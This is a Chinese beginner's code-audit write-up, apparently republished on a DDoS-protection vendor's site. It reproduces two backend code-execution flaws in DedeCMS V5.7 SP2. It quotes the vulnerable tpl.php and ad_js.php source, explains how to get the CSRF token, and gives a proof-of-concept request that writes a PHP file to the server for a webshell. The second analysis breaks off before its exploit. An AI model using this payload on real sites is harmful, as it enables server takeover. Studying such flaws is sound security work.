DDOS防御专家-提供超强DDoS高防/CC防护/大流量清洗服务!
当前位置:主页 > WEB安全 > 正文

代码审计入门级DedecmsV5.7 SP2分析复现

09-17 WEB安全

索引
Dedecms的洞有很多,而最新版的v5.7 sp2更新也止步于1月。作为一个审计小白,看过《代码审计-企业级Web代码安全构架》后懵懵懂懂,一次偶然网上冲浪看到mochazz师傅在blog发的审计项目,十分有感触。跟着复现了两个dedecms代码执行的cve,以一个新手的视角重新审视这些代码,希望文章可以帮助像我这样入门审计不久的表哥们。文章若有片面或不足的地方还请师傅们多多斧正。
 
环境
php5.45 + mysql审计对象:DedeCMS V5.7 SP2工具:seay源码审计
 
后台代码执行
漏洞描述
DedeCMS V5.7 SP2版本中tpl.php存在代码执行漏洞,攻击者可利用该漏洞在增加新的标签中上传木马,获取webshell
代码审计
漏洞位置:dede/tpl.php
看一下核心代码:
# /dede/tpl.php
require_once(dirname(__FILE__)."/config.php");
CheckPurview('plus_文件管理器');
$action = isset($action) ? trim($action) : '';
......
if(empty($filename))    $filename = '';
$filename = preg_replace("#[/\\]#", '', $filename);
......
else if($action=='savetagfile')
{
    csrf_check();
    if(!preg_match("#^[a-z0-9_-]{1,}.lib.php$#i", $filename))
    {
        ShowMsg('文件名不合法,不允许进行操作!', '-1');
        exit();
    }
    require_once(DEDEINC.'/oxwindow.class.php');
    $tagname = preg_replace("#.lib.php$#i", "", $filename);
    $content = stripslashes($content);
    $truefile = DEDEINC.'/taglib/'.$filename;
    $fp = fopen($truefile, 'w');
    fwrite($fp, $content);
    fclose($fp);
    ......
}
因为dedecms全局变量注册(register_globals=on),这里有两个可控变量$filename&$content
action=savetag时,进行csrf()检测
function csrf_check()
{
    global $token;
    if(!isset($token) || strcasecmp($token, $_SESSION['token']) != 0){
        echo 'DedeCMS:CSRF Token Check Failed!';
        exit;
    }
}
验证token和已知的session是否相等,那么token的值从何获取呢?
回溯tpl.php,追踪一下token:
else if ($action == 'upload')
{
        ....
        'acdir' type='hidden' value='$acdir'  />
        'token' type='hidden' value='{$_SESSION['token']}'  />
        'upfile' type='file' />
}
当action=upload时,隐藏表单的value提交token值

token搞定了,再让我们继续往下审~
$truefile = DEDEINC.'/taglib/'.$filename;
传入的filename必须为 xxxx.lib.php,并且保存的也是php文件
    fwrite($fp, $content);
    fclose($fp);
写入内容为$content…那岂不是为所欲为..poc:
?action=savetagfile&filename=hpdoger.lib.php&content= phpinfo();?>&token=55f2eb0ad241e1893276ed1f8e7dd5fa
在include/taglib下会产生相应xxx.lib.php
 
后台代码执行Getshell
代码审计
问题代码位于:/uploads/plus/ad_js.php
 */
require_once(dirname(__FILE__)."/../include/common.inc.php");
if(isset($arcID)) $aid = $arcID;
$arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;
if($aid==0) die(' Request Error! ');
$cacheFile = DEDEDATA.'/cache/myad-'.$aid.'.htm';
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
{
    $row = $dsql->GetOne("SELECT * FROM `dede_myad` WHERE aid='$aid' ");
    $adbody = '';
    if($row['timeset']==0)
    {
        $adbody = $row['normbody'];
    }
    else
    {
        $ntime = time();
        if($ntime > $row['endtime'] || $ntime 'starttime']) {
            $adbody = $row['expbody'];
        } else {
            $adbody = $row['normbody'];
        }
    }
    $adbody = str_replace('"', '"',$adbody);
    $adbody = str_replace("r", "\r",$adbody);
    $adbody = str_replace("n", "\n",$adbody);

版权保护: 本文由 DDOS防御专家 原创,转载请保留链接: http://sskjddosgb11.ddosgb.com//web/39.html

DDoS防御专家简介孤之剑
国内资深白帽子二十人组成员,前BAT资深网络安全工程师,知名网络安全站点板块大神,每年提交Google及微软漏洞,原sina微博负载插件开发者,现在整体防御复合攻击长期接受1-4.7T攻击,CC防护自主开发指纹识别系统,可以做到99.9999%的无敌防御。
  • 文章总数
  • 698415访问次数
  • 建站天数
  • 友情链接

    DDOS防御

    ddos防御

    cc防护

    web安全

    高防服务器

    高防cdn


    QQ客服

    400-0797-119

    X